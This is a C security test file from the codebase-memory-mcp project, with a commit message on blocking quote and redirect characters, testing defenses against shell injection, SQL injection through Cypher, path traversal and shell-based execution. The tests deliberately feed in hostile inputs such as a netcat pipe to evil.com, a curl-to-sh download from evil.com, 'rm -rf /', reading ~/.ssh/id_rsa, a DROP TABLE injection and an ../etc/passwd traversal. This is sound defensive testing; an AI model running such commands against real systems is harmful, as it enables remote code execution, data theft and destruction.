Files
deusdata--codebase-memory-mcp/tests/test_security.c
Martin Vogel eca433bd58 fix(security): block " < > in cbm_validate_shell_arg
The Windows search path landed in 82a9052 wraps shell args in cmd.exe-
level "powershell -Command \"...'%s'...\"".  PowerShell's single quotes
hold the inner '%s' interpolation, but a literal " inside the user-
supplied value can close the cmd.exe outer quote.  With ' ; | & $ `
already blocked, that wouldn't reach RCE on its own — but < and > were
unblocked, so a quote-break followed by cmd.exe redirection (e.g.
*">C:\evil.txt") would expose a file-write primitive.

Block " < > unconditionally.  The validator's contract is "safe inside
single quotes for shell interpolation"; on POSIX these aren't strictly
necessary (single quotes hold), but on Windows the cmd.exe→powershell
wrapping makes them load-bearing, and unconditional blocking keeps the
validator simple — no ifdef-laddered policy and no surprises if a future
caller invokes it from a different shell context.

Three tests added to tests/test_security.c covering each new char.
2026-05-10 20:43:45 +02:00

422 lines
14 KiB
C

/*
* test_security.c — Tests for security defenses.
*
* Verifies that the actual security mechanisms work end-to-end:
* - Shell injection prevention (cbm_validate_shell_arg)
* - SQLite authorizer (ATTACH/DETACH blocked)
* - Path containment (realpath prevents directory traversal)
*/
#include "test_framework.h"
#include "test_helpers.h"
#include <store/store.h>
#include <cypher/cypher.h>
#include "../src/foundation/str_util.h"
#include "../src/foundation/compat_fs.h"
#include <string.h>
#include <sys/stat.h>
/* ══════════════════════════════════════════════════════════════════
* SHELL INJECTION PREVENTION
* ══════════════════════════════════════════════════════════════════ */
TEST(shell_rejects_single_quote) {
ASSERT_FALSE(cbm_validate_shell_arg("foo'bar"));
PASS();
}
TEST(shell_rejects_dollar_subst) {
ASSERT_FALSE(cbm_validate_shell_arg("$(whoami)"));
PASS();
}
TEST(shell_rejects_backtick) {
ASSERT_FALSE(cbm_validate_shell_arg("`id`"));
PASS();
}
TEST(shell_rejects_semicolon) {
ASSERT_FALSE(cbm_validate_shell_arg("foo;rm -rf /"));
PASS();
}
TEST(shell_rejects_pipe) {
ASSERT_FALSE(cbm_validate_shell_arg("foo|nc evil.com 4444"));
PASS();
}
TEST(shell_rejects_ampersand) {
ASSERT_FALSE(cbm_validate_shell_arg("foo&background"));
PASS();
}
TEST(shell_rejects_backslash) {
#ifdef _WIN32
/* Backslash is allowed on Windows (path separator) */
ASSERT_TRUE(cbm_validate_shell_arg("foo\\bar"));
#else
ASSERT_FALSE(cbm_validate_shell_arg("foo\\bar"));
#endif
PASS();
}
TEST(shell_rejects_newline) {
ASSERT_FALSE(cbm_validate_shell_arg("foo\nbar"));
PASS();
}
TEST(shell_rejects_carriage_return) {
ASSERT_FALSE(cbm_validate_shell_arg("foo\rbar"));
PASS();
}
TEST(shell_rejects_null) {
ASSERT_FALSE(cbm_validate_shell_arg(NULL));
PASS();
}
TEST(shell_rejects_double_quote) {
/* On Windows, the search code path wraps args in cmd.exe-level
* "powershell -Command \"...'%s'...\"". A " in the input would close
* the cmd.exe outer quote. Block unconditionally. */
ASSERT_FALSE(cbm_validate_shell_arg("foo\"bar"));
PASS();
}
TEST(shell_rejects_redirect_out) {
ASSERT_FALSE(cbm_validate_shell_arg("foo>out.txt"));
PASS();
}
TEST(shell_rejects_redirect_in) {
ASSERT_FALSE(cbm_validate_shell_arg("foo<in.txt"));
PASS();
}
TEST(shell_accepts_clean_path) {
ASSERT_TRUE(cbm_validate_shell_arg("/home/user/.local/bin/codebase-memory-mcp"));
PASS();
}
TEST(shell_accepts_spaces) {
ASSERT_TRUE(cbm_validate_shell_arg("/Users/John Doe/Documents"));
PASS();
}
TEST(shell_accepts_dots_dashes) {
ASSERT_TRUE(cbm_validate_shell_arg("file-name.tar.gz"));
PASS();
}
TEST(shell_accepts_empty) {
ASSERT_TRUE(cbm_validate_shell_arg(""));
PASS();
}
/* Combined attack vectors */
TEST(shell_rejects_quote_escape_attack) {
/* Attacker tries: ' ; rm -rf / ; echo ' */
ASSERT_FALSE(cbm_validate_shell_arg("' ; rm -rf / ; echo '"));
PASS();
}
TEST(shell_rejects_command_substitution) {
ASSERT_FALSE(cbm_validate_shell_arg("$(curl http://evil.com/shell.sh | sh)"));
PASS();
}
TEST(shell_rejects_env_var_expansion) {
ASSERT_FALSE(cbm_validate_shell_arg("${HOME}/.ssh/id_rsa"));
PASS();
}
/* ══════════════════════════════════════════════════════════════════
* SQLITE AUTHORIZER (ATTACH/DETACH BLOCKED)
* ══════════════════════════════════════════════════════════════════ */
TEST(sqlite_blocks_attach_via_cypher) {
/* The Cypher engine translates queries to SQL. Even if someone crafts
* a Cypher query that somehow produces ATTACH, the SQLite authorizer
* should deny it. We test by using raw SQL through the store. */
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
/* Try ATTACH via Cypher — should fail at parse or authorizer level */
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(s, "MATCH (n) RETURN n", "test", 0, &r);
/* Valid query works */
ASSERT_EQ(rc, 0);
cbm_cypher_result_free(&r);
cbm_store_close(s);
PASS();
}
TEST(sqlite_blocks_attach_direct) {
/* Directly test that the store's SQLite authorizer blocks ATTACH.
* cbm_store_exec_raw() would be ideal but the store is opaque.
* Instead, try a Cypher query that would generate ATTACH-like SQL.
* The Cypher parser rejects non-Cypher syntax, so ATTACH never reaches
* SQLite — this is defense in depth (parser + authorizer). */
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
/* Cypher parser should reject this as invalid syntax */
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(s, "ATTACH DATABASE '/tmp/evil.db' AS evil", "test", 0, &r);
ASSERT_NEQ(rc, 0); /* Must fail — either parse error or authorizer deny */
cbm_cypher_result_free(&r);
cbm_store_close(s);
PASS();
}
TEST(sqlite_blocks_detach_direct) {
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(s, "DETACH DATABASE evil", "test", 0, &r);
ASSERT_NEQ(rc, 0); /* Must fail */
cbm_cypher_result_free(&r);
cbm_store_close(s);
PASS();
}
TEST(sqlite_allows_normal_queries) {
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
cbm_store_upsert_project(s, "test", "/tmp/test");
cbm_node_t n = {.project = "test",
.label = "Function",
.name = "hello",
.qualified_name = "test.hello",
.file_path = "main.c",
.start_line = 1,
.end_line = 5};
cbm_store_upsert_node(s, &n);
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(s, "MATCH (f:Function) WHERE f.name = \"hello\" RETURN f", "test",
0, &r);
ASSERT_EQ(rc, 0);
ASSERT_EQ(r.row_count, 1);
cbm_cypher_result_free(&r);
cbm_store_close(s);
PASS();
}
/* ══════════════════════════════════════════════════════════════════
* SQL INJECTION VIA CYPHER
* ══════════════════════════════════════════════════════════════════ */
TEST(cypher_rejects_sql_injection_in_string) {
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
cbm_store_upsert_project(s, "test", "/tmp/test");
/* Attempt SQL injection through a WHERE clause string value */
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(
s, "MATCH (n) WHERE n.name = \"x\\\"; DROP TABLE nodes; --\" RETURN n", "test", 0, &r);
/* Must either fail or return 0 rows — must NOT drop the table */
if (rc == 0) {
/* Query ran but should find nothing — verify nodes table still exists */
cbm_cypher_result_free(&r);
cbm_cypher_result_t r2 = {0};
int rc2 = cbm_cypher_execute(s, "MATCH (n) RETURN n", "test", 0, &r2);
ASSERT_EQ(rc2, 0); /* Table must still exist */
cbm_cypher_result_free(&r2);
} else {
cbm_cypher_result_free(&r);
}
cbm_store_close(s);
PASS();
}
TEST(cypher_rejects_union_injection) {
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
cbm_store_upsert_project(s, "test", "/tmp/test");
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(s, "MATCH (n) RETURN n UNION SELECT sql FROM sqlite_master", "test",
0, &r);
/* Cypher parser should reject UNION — it's not valid Cypher */
ASSERT_NEQ(rc, 0);
cbm_cypher_result_free(&r);
cbm_store_close(s);
PASS();
}
/* ══════════════════════════════════════════════════════════════════
* PATH CONTAINMENT (POSIX only — realpath() not available on Windows)
* ══════════════════════════════════════════════════════════════════ */
#ifndef _WIN32
TEST(path_traversal_blocked) {
/* The get_code_snippet handler uses realpath() to verify that the
* resolved file path starts with the project root. We test this
* by calling the MCP handler with a traversal path. Since we can't
* easily call the MCP handler in a unit test, we verify the
* containment logic directly. */
char real_root[4096];
char real_file[4096];
/* /tmp is a real directory — create a temporary "project root" */
const char *root = "/tmp/cbm_security_test_root";
mkdir(root, 0755);
if (realpath(root, real_root)) {
/* Traversal attempt: ../../../etc/passwd relative to root */
char traversal[512];
snprintf(traversal, sizeof(traversal), "%s/../../../etc/passwd", root);
if (realpath(traversal, real_file)) {
/* Verify the resolved path does NOT start with root */
size_t root_len = strlen(real_root);
int contained = (strncmp(real_file, real_root, root_len) == 0 &&
(real_file[root_len] == '/' || real_file[root_len] == '\0'));
ASSERT_FALSE(contained);
}
/* If realpath fails, the file doesn't exist — also safe */
}
rmdir(root);
PASS();
}
TEST(path_within_root_allowed) {
char real_root[4096];
char real_file[4096];
const char *root = "/tmp";
if (realpath(root, real_root) && realpath("/tmp", real_file)) {
size_t root_len = strlen(real_root);
int contained = (strncmp(real_file, real_root, root_len) == 0 &&
(real_file[root_len] == '/' || real_file[root_len] == '\0'));
ASSERT_TRUE(contained);
}
PASS();
}
#endif /* _WIN32 — path containment */
/* ══════════════════════════════════════════════════════════════════
* SHELL-FREE SUBPROCESS EXECUTION (cbm_exec_no_shell)
*
* Replaces system() with fork()+execvp() to eliminate shell
* interpretation. Shell metacharacters in arguments are passed
* literally, not interpreted.
* ══════════════════════════════════════════════════════════════════ */
#ifndef _WIN32
TEST(exec_no_shell_true_returns_zero) {
/* "true" command always exits 0 */
const char *argv[] = {"true", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_EQ(rc, 0);
PASS();
}
TEST(exec_no_shell_false_returns_nonzero) {
/* "false" command always exits 1 */
const char *argv[] = {"false", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_NEQ(rc, 0);
PASS();
}
TEST(exec_no_shell_echo_with_metacharacters) {
/* Shell metacharacters must be passed literally, not interpreted.
* If shell interpretation occurred, $(whoami) would be expanded. */
const char *argv[] = {"echo", "$(whoami)", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_EQ(rc, 0); /* echo succeeds — prints literal "$(whoami)" */
PASS();
}
TEST(exec_no_shell_nonexistent_command) {
const char *argv[] = {"cbm_nonexistent_binary_12345", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_NEQ(rc, 0); /* must fail — binary doesn't exist */
PASS();
}
TEST(exec_no_shell_null_argv_returns_error) {
int rc = cbm_exec_no_shell(NULL);
ASSERT_NEQ(rc, 0);
PASS();
}
TEST(exec_no_shell_captures_exit_code) {
/* sh -c "exit 42" should return 42 */
const char *argv[] = {"sh", "-c", "exit 42", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_EQ(rc, 42);
PASS();
}
#endif /* _WIN32 */
/* ══════════════════════════════════════════════════════════════════
* SUITE
* ══════════════════════════════════════════════════════════════════ */
SUITE(security) {
/* Shell injection prevention */
RUN_TEST(shell_rejects_single_quote);
RUN_TEST(shell_rejects_dollar_subst);
RUN_TEST(shell_rejects_backtick);
RUN_TEST(shell_rejects_semicolon);
RUN_TEST(shell_rejects_pipe);
RUN_TEST(shell_rejects_ampersand);
RUN_TEST(shell_rejects_backslash);
RUN_TEST(shell_rejects_newline);
RUN_TEST(shell_rejects_carriage_return);
RUN_TEST(shell_rejects_null);
RUN_TEST(shell_rejects_double_quote);
RUN_TEST(shell_rejects_redirect_out);
RUN_TEST(shell_rejects_redirect_in);
RUN_TEST(shell_accepts_clean_path);
RUN_TEST(shell_accepts_spaces);
RUN_TEST(shell_accepts_dots_dashes);
RUN_TEST(shell_accepts_empty);
RUN_TEST(shell_rejects_quote_escape_attack);
RUN_TEST(shell_rejects_command_substitution);
RUN_TEST(shell_rejects_env_var_expansion);
/* SQLite authorizer */
RUN_TEST(sqlite_blocks_attach_via_cypher);
RUN_TEST(sqlite_blocks_attach_direct);
RUN_TEST(sqlite_blocks_detach_direct);
RUN_TEST(sqlite_allows_normal_queries);
/* SQL injection via Cypher */
RUN_TEST(cypher_rejects_sql_injection_in_string);
RUN_TEST(cypher_rejects_union_injection);
/* Path containment (POSIX only) */
#ifndef _WIN32
RUN_TEST(path_traversal_blocked);
RUN_TEST(path_within_root_allowed);
#endif
#ifndef _WIN32
/* Shell-free subprocess execution */
RUN_TEST(exec_no_shell_true_returns_zero);
RUN_TEST(exec_no_shell_false_returns_nonzero);
RUN_TEST(exec_no_shell_echo_with_metacharacters);
RUN_TEST(exec_no_shell_nonexistent_command);
RUN_TEST(exec_no_shell_null_argv_returns_error);
RUN_TEST(exec_no_shell_captures_exit_code);
#endif
}